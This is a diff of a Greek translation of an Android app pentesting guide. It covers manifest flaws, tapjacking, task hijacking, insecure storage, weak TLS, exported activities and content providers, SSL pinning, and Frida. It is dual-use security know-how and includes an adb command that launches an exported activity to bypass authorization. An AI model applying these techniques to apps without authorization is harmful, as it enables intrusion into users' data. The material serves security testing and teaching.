-Συνιστάται ανεπιφύλακτα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
+Συνιστάται έντονα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
{{#ref}}
android-applications-basics.md
@@ -12,7 +12,7 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
-Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή android (εξομοιωμένη ή φυσική).\
+Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή Android (εξομοιωμένη ή φυσική).\
**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Δικτύου** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, την **αντίγραφο ασφαλείας** δεδομένων, την **ανάγνωση** καταγραφών, μεταξύ άλλων λειτουργιών.
Ρίξτε μια ματιά στη λίστα με τις [**Εντολές ADB**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
@@ -65,9 +65,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
**Κενά ασφαλείας** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν:
- **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ ενέχουν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
-- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που διαχειρίζονται ευαίσθητες πληροφορίες ώστε να αποτρέπεται η μη εξουσιοδοτημένη δημιουργία αντιγράφων ασφαλείας μέσω adb, ειδικά όταν είναι ενεργοποιημένος ο εντοπισμός USB.
-- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP. Ένα παράδειγμα είναι η επιτρεπόμενη κίνηση HTTP για συγκεκριμένα domains.
-- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να χρησιμοποιηθούν κακόβουλα. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
+- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που διαχειρίζονται ευαίσθητες πληροφορίες ώστε να αποτρέπεται η μη εξουσιοδοτημένη δημιουργία αντιγράφων ασφαλείας μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
+- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP traffic για συγκεκριμένα domains.
+- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να κακοποιηθούν. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
- **Content Providers και FileProviders**: Οι εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η ρύθμιση των FileProviders θα πρέπει επίσης να εξεταστεί προσεκτικά.
- **Broadcast Receivers και URL Schemes**: Αυτά τα στοιχεία θα μπορούσαν να χρησιμοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στο πώς διαχειρίζονται τα URL schemes για ευπάθειες εισόδου.
- **Εκδόσεις SDK**: Τα χαρακτηριστικά `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία της μη υποστήριξης παλαιών, ευάλωτων εκδόσεων Android για λόγους ασφαλείας.
@@ -76,7 +76,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### Tapjacking
-**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ περνά την αλληλεπίδραση στην εφαρμογή θύμα.\
+**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ ταυτόχρονα περνά την αλληλεπίδραση στην εφαρμογή θύμα.\
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί ενέργειες στην εφαρμογή θύμα**.
Βρείτε περισσότερες πληροφορίες στο:
@@ -85,9 +85,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
tapjacking.md
{{#endref}}
-### Hijacking Εργασιών
+### Task Hijacking
-Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε hijacking εργασιών. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή μπορεί να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
+Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή, θα μπορούσε να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
Περισσότερες πληροφορίες στο:
@@ -99,10 +99,10 @@ android-task-hijacking.md
**Εσωτερική Αποθήκευση**
-Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας **επιβάλλεται** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέπουν** τα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
+Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας είναι **επιβεβλημένο** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέπουν** τα αρχεία να είναι **κοινά** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
1. **Στατική Ανάλυση:**
-- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` **εξετάζεται προσεκτικά**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένη ή μη εξουσιοδοτημένη πρόσβαση**.
+- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένες ή μη εξουσιοδοτημένες προσβάσεις**.
2. **Δυναμική Ανάλυση:**
- **Επαληθεύστε** τις **άδειες** που έχουν οριστεί στα αρχεία που δημιουργούνται από την εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν οποιαδήποτε αρχεία είναι **ρυθμισμένα να είναι αναγνώσιμα ή εγγράψιμα παγκοσμίως**. Αυτό μπορεί να θέσει σε σημαντικό κίνδυνο την ασφάλεια, καθώς θα επιτρέπει σε **οποιαδήποτε εφαρμογή** εγκατασταθεί στη συσκευή, ανεξαρτήτως προέλευσης ή προθέσεων, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
@@ -120,14 +120,14 @@ android-task-hijacking.md
- Η αποθήκευση εκτελέσιμων ή αρχείων κλάσης στην εξωτερική αποθήκευση για δυναμική φόρτωση αποθαρρύνεται έντονα.
- Εάν η εφαρμογή σας πρέπει να ανακτήσει εκτελέσιμα αρχεία από την εξωτερική αποθήκευση, βεβαιωθείτε ότι αυτά τα αρχεία είναι **υπογεγραμμένα και κρυπτογραφικά επαληθευμένα** πριν φορτωθούν δυναμικά. Αυτό το βήμα είναι ζωτικής σημασίας για τη διατήρηση της ασφάλειας της εφαρμογής σας.
-Η εξωτερική αποθήκευση μπορεί να **προσεγγιστεί** σε `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
+Η εξωτερική αποθήκευση μπορεί να προσπελαστεί στο `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!NOTE]
-> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτή την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
+> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτήν την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
**Ευαίσθητα δεδομένα αποθηκευμένα σε καθαρό κείμενο**
-- **Κοινές ρυθμίσεις**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα αρχεία xml στη διαδρομή `/data/data//shared_prefs/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
+- **Κοινές ρυθμίσεις**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα xml αρχεία στη διαδρομή `/data/data//shared_prefs/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
- **Βάσεις Δεδομένων**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα βάσεις δεδομένων sqlite στη διαδρομή `/data/data//databases/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
### Σπασμένο TLS
@@ -153,7 +153,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
### Άλλοι έλεγχοι
-- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη δουλειά του reverse engineer στους επιτιθέμενους.
+- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη δουλειά του αναστροφέα για τους επιτιθέμενους.
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως.
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί.
@@ -185,7 +185,7 @@ react-native-application.md
Με αυτή τη γνώση, **το mariana-trench θα αναθεωρήσει τον κώδικα και θα βρει πιθανές ευπάθειες σε αυτόν**.
-### Μυστικά που διέρρευσαν
+### Μυστικά που διαρρέουν
Μια εφαρμογή μπορεί να περιέχει μυστικά (API keys, κωδικούς πρόσβασης, κρυφές διευθύνσεις URL, υποτομείς...) μέσα σε αυτήν που μπορεί να είστε σε θέση να ανακαλύψετε. Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως το [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
@@ -218,7 +218,7 @@ content-protocol.md
### Online Δυναμική ανάλυση
-Μπορείτε να δημιουργήσετε έναν **δωρεάν λογαριασμό** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα σας επιτρέπει να **ανεβάσετε** και **να εκτελέσετε** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk.
+Μπορείτε να δημιουργήσετε έναν **δωρεάν λογαριασμό** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα σας επιτρέπει να **ανεβάσετε** και να **εκτελέσετε** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk.
Μπορείτε ακόμη να **δείτε τα logs της εφαρμογής σας** στο διαδίκτυο και να συνδεθείτε μέσω **adb**.
@@ -230,7 +230,7 @@ content-protocol.md
#### Χρησιμοποιώντας έναν εξομοιωτή
-- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες εκδόσεις x86** υποστηρίζουν ARM βιβλιοθήκες χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
+- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες x86** εκδόσεις **υποστηρίζουν ARM βιβλιοθήκες** χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
- Μάθετε πώς να το ρυθμίσετε σε αυτή τη σελίδα:
{{#ref}}
@@ -260,13 +260,13 @@ avd-android-virtual-device.md
5. Επιστρέψτε πίσω και θα βρείτε τις **Επιλογές προγραμματιστή**.
> Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να την δοκιμάσετε και να ερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\
-> Θα προτείνω να **εκτελέσετε αυτή την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF δυναμική ανάλυση + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
+> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF δυναμική ανάλυση + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
### Ακούσια Διαρροή Δεδομένων
**Καταγραφή**
-Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί με την έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του.
+Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί στην έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του.
> [!WARNING]
> Σημειώστε ότι από **αργότερα νεότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\
@@ -274,17 +274,17 @@ avd-android-virtual-device.md
**Caching του Buffer Αντιγραφής/Επικόλλησης**
-Το πλαίσιο **βάσει clipboard** του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικής κάρτας, για να αποτρέψετε διαρροές δεδομένων.
+Το πλαίσιο **βάσει clipboard** του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, ενδεχομένως εκθέτοντας ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικών καρτών, για να αποτρέψετε διαρροές δεδομένων.
**Crash Logs**
-Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριαστεί αυτός ο κίνδυνος, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω καναλιού SSL για ασφάλεια.
+Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω καναλιού SSL για ασφάλεια.
Ως pentester, **προσπαθήστε να ρίξετε μια ματιά σε αυτά τα logs**.
**Δεδομένα Analytics που αποστέλλονται σε τρίτους**
-Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να **διαρρεύσουν ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
+Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να διαρρεύσουν κατά λάθος **ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
### SQLite DBs
@@ -303,7 +303,7 @@ avd-android-virtual-device.md
### Εκμετάλλευση εξαγόμενων Δραστηριοτήτων
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Δραστηριότητα Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
-Επίσης, θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη **μέθοδο `onCreate`**.
+Επίσης, θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη μέθοδο **`onCreate`**.
**Παράκαμψη εξουσιοδότησης**
@@ -329,7 +329,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
#### Tapjacking
-Αν το tapjacking δεν προληφθεί, θα μπορούσατε να εκμεταλλευτείτε την εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](#tapjacking).
+Αν δεν προληφθεί το tapjacking, θα μπορούσατε να εκμεταλλευτείτε την εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](#tapjacking).
### Εκμετάλλευση Παρόχων Περιεχομένου - Πρόσβαση και χειρισμός ευαίσθητων πληροφοριών
@@ -387,19 +387,19 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
Ένα [ενδιαφέρον bug bounty report](https://hackerone.com/reports/855618) σχετικά με συνδέσμους (_/.well-known/assetlinks.json_).
-### Αποτυχίες Επιθεώρησης και Επαλήθευσης Επίπεδου Μεταφοράς
+### Αποτυχίες Επιθεώρησης και Επαλήθευσης Στρώματος Μεταφοράς
- **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση HTTP συνδέσεων.
- **Οι διαπραγματεύσεις κατά τη διάρκεια του SSL/TLS handshake είναι μερικές φορές αδύναμες**, χρησιμοποιώντας ανασφαλείς κρυπτογραφικές σουίτες. Αυτή η ευπάθεια καθιστά τη σύνδεση ευάλωτη σε επιθέσεις man-in-the-middle (MITM), επιτρέποντας στους επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα.
-- **Η διαρροή ιδιωτικών πληροφοριών** είναι κίνδυνος όταν οι εφαρμογές πιστοποιούν χρησιμοποιώντας ασφαλείς διαύλους αλλά στη συνέχεια επικοινωνούν μέσω μη ασφαλών διαύλων για άλλες συναλλαγές. Αυτή η προσέγγιση αποτυγχάνει να προστατεύσει ευαίσθητα δεδομένα, όπως cookies συνεδρίας ή λεπτομέρειες χρηστών, από την παρεμβολή κακόβουλων οντοτήτων.
+- **Διαρροή ιδιωτικών πληροφοριών** είναι ένας κίνδυνος όταν οι εφαρμογές πιστοποιούν χρησιμοποιώντας ασφαλείς διαύλους αλλά στη συνέχεια επικοινωνούν μέσω μη ασφαλών διαύλων για άλλες συναλλαγές. Αυτή η προσέγγιση αποτυγχάνει να προστατεύσει ευαίσθητα δεδομένα, όπως cookies συνεδρίας ή λεπτομέρειες χρηστών, από την παρεμβολή κακόβουλων οντοτήτων.
#### Επαλήθευση Πιστοποιητικού
-Θα επικεντρωθούμε στην **επαλήθευση πιστοποιητικού**. Η ακεραιότητα του πιστοποιητικού του διακομιστή πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο γιατί οι ανασφαλείς ρυθμίσεις TLS και η μετάδοση ευαίσθητων δεδομένων μέσω μη κρυπτογραφημένων καναλιών μπορεί να θέσουν σε σημαντικό κίνδυνο. Για λεπτομερείς οδηγίες σχετικά με την επαλήθευση πιστοποιητικών διακομιστή και την αντιμετώπιση ευπαθειών, [**αυτή η πηγή**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει εκτενή καθοδήγηση.
+Θα επικεντρωθούμε στην **επαλήθευση πιστοποιητικού**. Η ακεραιότητα του πιστοποιητικού του διακομιστή πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο γιατί οι ανασφαλείς ρυθμίσεις TLS και η μετάδοση ευαίσθητων δεδομένων μέσω μη κρυπτογραφημένων καναλιών μπορεί να θέσουν σημαντικούς κινδύνους. Για λεπτομερείς οδηγίες σχετικά με την επαλήθευση πιστοποιητικών διακομιστή και την αντιμετώπιση ευπαθειών, [**αυτή η πηγή**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει εκτενή καθοδήγηση.
#### SSL Pinning
-Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την πρόληψη επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
+Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με βάση μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή του SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
#### Επιθεώρηση Κίνησης
@@ -423,11 +423,11 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
### Frida
-[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής εργονομίας για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\
+[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής οργάνωσης για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\
**Μπορείτε να αποκτήσετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
Αν θέλετε να κάνετε pentest σε εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
-- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/)
+- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Μερικά "GUI" για ενέργειες με το Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Μπορείτε να βρείτε μερικά καταπληκτικά σενάρια Frida εδώ: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
@@ -435,7 +435,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
### **Dump Memory - Fridump**
-Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες μέσα στη μνήμη που δεν θα έπρεπε να αποθηκεύει όπως κωδικούς πρόσβασης ή μνημονικά.
